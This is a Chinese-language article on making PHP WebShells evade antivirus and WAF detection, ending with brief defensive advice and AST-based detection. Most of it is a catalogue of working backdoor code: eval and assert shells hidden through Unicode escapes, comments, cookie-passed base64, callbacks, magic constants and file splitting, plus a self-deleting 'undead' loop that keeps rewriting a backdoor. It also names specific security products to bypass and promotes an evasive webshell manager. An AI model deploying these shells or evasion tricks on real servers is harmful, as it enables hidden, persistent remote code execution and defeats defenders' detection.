在网络安全攻防的战场上,WebShell作为一把利器,始终扮演着重要角色。而它的免杀技术,更是一场永无止境的猫鼠游戏。
WebShell免杀技术是指通过对WebShell程序进行混淆、加密等处理,修改其原有特征,使其能够绕过杀毒软件和安全防护系统的检测的技术。简而言之,就是让恶意网页后门在安全防护产品的眼皮底下“隐形”。
随着安全防护产品对传统WebShell特征的识别能力不断增强,许多经典的WebShell编码方式已经被纳入主流杀软与WAF的规则库中,失去了原有的隐身能力。安全防护软件如D盾、安全狗、护卫神等采用静态检查、动态检测和日志检查等多种方式对WebShell进行查杀,这使得攻击者必须不断开发新的免杀技术来维持攻击的有效性。
目前主流的木马查杀方法主要有三种:
静态检查:通过匹配特征码、危险函数和木马特征值来查杀木马程序。优点是快速方便,对已知木马查找准确率高;缺点是误报率高,无法查找0Day型木马,容易被绕过。
动态检测:通过分析木马程序被执行时所表现出来的特征来检测。
日志检测:通过分析大量日志文件并建立请求模型来检测异常文件。在访问量达到一定规模时具有参考价值,但存在误报率,处理大量日志时效率较低。
字符编码是WebShell免杀的基础技术之一,主要包括:
Unicode编码:使用最新Unicode编码混淆技术规避检测,特别是使用非标准显示控制字符,如一些被遗弃或无法正常解析的方向性控制码、组合符号等,其特点是编译器解析失败、正则难匹配。
php
<?php @\u0065val($\u005fPOST['\u0070ass']); ?>
异或运算:通过不可见字符相互异或,生成所需的执行代码。服务器在处理传入参数时会进行两次urldecode,然后拿着不可见字符进行waf匹配,绕过检测后这些字符在eval中异或成为实际要执行的代码。
注释混淆:利用杀软对/*...*/注释内容的忽略特性,避免规则识别:
php
eval/*xxxxx*/();
传统的$_POST['pass']或$_GET['cmd']极易被检测,高级的传参方式可以大幅提高隐蔽性:
Cookie传参:由于Cookie基本上是每个web应用都需要使用的,利用Cookie传参迷惑性很强:
php
<?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c(base64_decode($_COOKIE["PHPSESSID"])); ?>
Session传参:这是一种间接传参方式,需要两个文件协作,一个将输入参数传入session,另一个从session中取出并执行命令。
自定义请求头:使用自定义的请求头进行参数传递,但需要注意完全自定义的请求头可能因不常见而被检测。
多维传参:如Assassin工具支持payload以get、post、cookie、mixed四种方式发送,可动态修改,增加流量迷惑性。
$_XXX[XXX]绕过原始的参数获取方式很容易被发现,以下方法可以提高隐蔽性:
使用{}替代[]:这是CTF中常见的绕过方式:
php
<?php
echo $_GET{"demo"};
?>foreach语句:利用复合变量加foreach获取参数内容,不使用[],不容易被识别:
php
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET') as $r){
foreach ($$r as $k =>$v){
$c($v);
}
}
?>某盾、某狗等安全产品会匹配特定函数调用特征,以下方法可有效绕过:
魔术常量:利用PHP的魔术常量动态生成函数名:
php
<?php
// __FILE__ 的利用,将webshell的名字改为base64编码后的内容
base64_decode(basename(__FILE__,".php"))($_POST[1]);
// __FUNCTION__ 的利用
function assert2(){
substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();
?>自定义常量:
php
<?php
define("DEMO",$_GET[1]."ert");
substr(DEMO,0)($_GET[2]);
?>反射调用:使用反射类动态调用函数。
Base64/Rot13加密:对WebShell程序进行加密处理,然后在运行时解密执行:
php
<?php $shell = base64_decode($_POST['pass']); eval($shell); ?>
多次加密与混淆:使用加密工具对WebShell进行多次混淆,增加反分析难度。
变量混淆:通过一连串的赋值操作和变量引用,混淆最终执行的代码:
php
<?php $a = $_POST['pass']; $b = &$a; eval($b); ?>
array_map()回调:
php
<?php
function test($a, $b) {
return $a($b);
}
array_map('test', array('eval'), array($_POST['pass']));
?>Create_function免杀:使用PHP的Create_function函数创建匿名函数:
php
<?php
$func = Create_function('', 'eval($_POST["pass"]);');
$func();
?>数组操作:使用数组交集、二维数组等复杂结构绕过检测:
php
<?php
// 数组交集
$a = array('pass');
$b = array($_POST['pass']);
$c = array_intersect($a, $b);
eval($c[0]);
// 二维数组
$b = "a";
$a = array($b => $_POST['pass']);
eval($a['a']);
?>分离免杀将一个WebShell拆分成两部分,使用file_get_contents()将内容读取出来执行:
php
<?php
file_get_contents("test.txt")($_GET[1]);这种方法可以有效绕过基于特征码的检测,因为恶意代码不在WebShell文件本身中存储。
不死马通过设置ignore_user_abort(true)和set_time_limit(0),使脚本在用户断开连接后继续执行,并不断写入新的后门文件:
php
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'xxx.php';
$code='<?php @eval($_POST[a]);?>';
while(1){
file_put_contents($file,$code);
usleep(5000);
}
?>这种技术可以创建一个难以彻底删除的后门,即使原文件被删除,新的后门文件也会不断生成。
Assassin是一款精简的基于命令行的WebShell管理工具,它生成的WebShell能够过主流杀毒软件,具有以下特点:
WebShell仅1kb大小,客户端与服务端完成连接后发送的payload十分精简
payload能够以get、post、cookie、mixed四种方式发送,可动态修改
支持多种编码方式(base64、base36、hex等),可动态修改
payload发送的参数名以及数量均可自定义,支持随机ip代理和user-agent
近日,一种全新的Unicode编码规避方法被提出,它可以有效绕过大部分终端安全检测。这种技术使用极为冷门的编码机制躲避传统检测体系,其低特征、高隐蔽的特性,使其在当前越来越严密的防守环境中,成为红队在初始阶段迅速落点、维持权限的重要利器。
随着免杀技术的不断发展,检测技术也在持续进步。基于抽象语法树(AST)的WebShell检测技术逐渐成为研究热点。这种技术将程序代码转换为抽象语法树,然后通过分析树的结构和节点特征来识别WebShell,可以有效对抗基于字符串混淆的免杀技术。
然而,攻击者也在不断创新,未来的免杀技术可能会朝着以下方向发展:
多语言混合利用:结合多种编程语言的特性,增加检测难度
合法代码嵌入:将恶意代码嵌入到正常业务逻辑中,提高隐蔽性
AI驱动免杀:使用生成对抗网络(GAN)等AI技术生成难以检测的WebShell
硬件层面隐藏:利用处理器特性或硬件漏洞实现更深层次的隐藏
面对日益先进的WebShell免杀技术,防御者需要采取多层次、纵深的安全防护策略:
定期更新检测规则:及时更新WAF和杀毒软件的规则库,以应对新出现的免杀技术
行为监控与异常检测:不仅要关注静态特征,还要监控系统的异常行为
文件完整性校验:对网站文件进行定期校验,发现异常变更
最小权限原则:严格限制网站目录的写入和执行权限
多层防护:在网络层、主机层、应用层分别部署防护措施,形成纵深防御
日志分析:定期分析访问日志,寻找异常访问模式
安全意识培训:提高开发人员和安全运维人员的技术水平,防范社会工程学攻击
WebShell免杀技术是网络攻防领域的一个缩影,体现了攻击者与防御者之间持续的博弈。只有深入理解免杀技术的原理和发展趋势,才能更好地防御这些隐蔽的攻击。对于安全研究人员而言,了解这些技术不是为了进行非法活动,而是为了构建更强大的防御体系,正如一位安全研究者所说:"我们研究攻击,是为了更好的防御。"
在网络安全日益重要的今天,持续学习、深入研究、分享知识,才是推动整个行业前进的正确道路。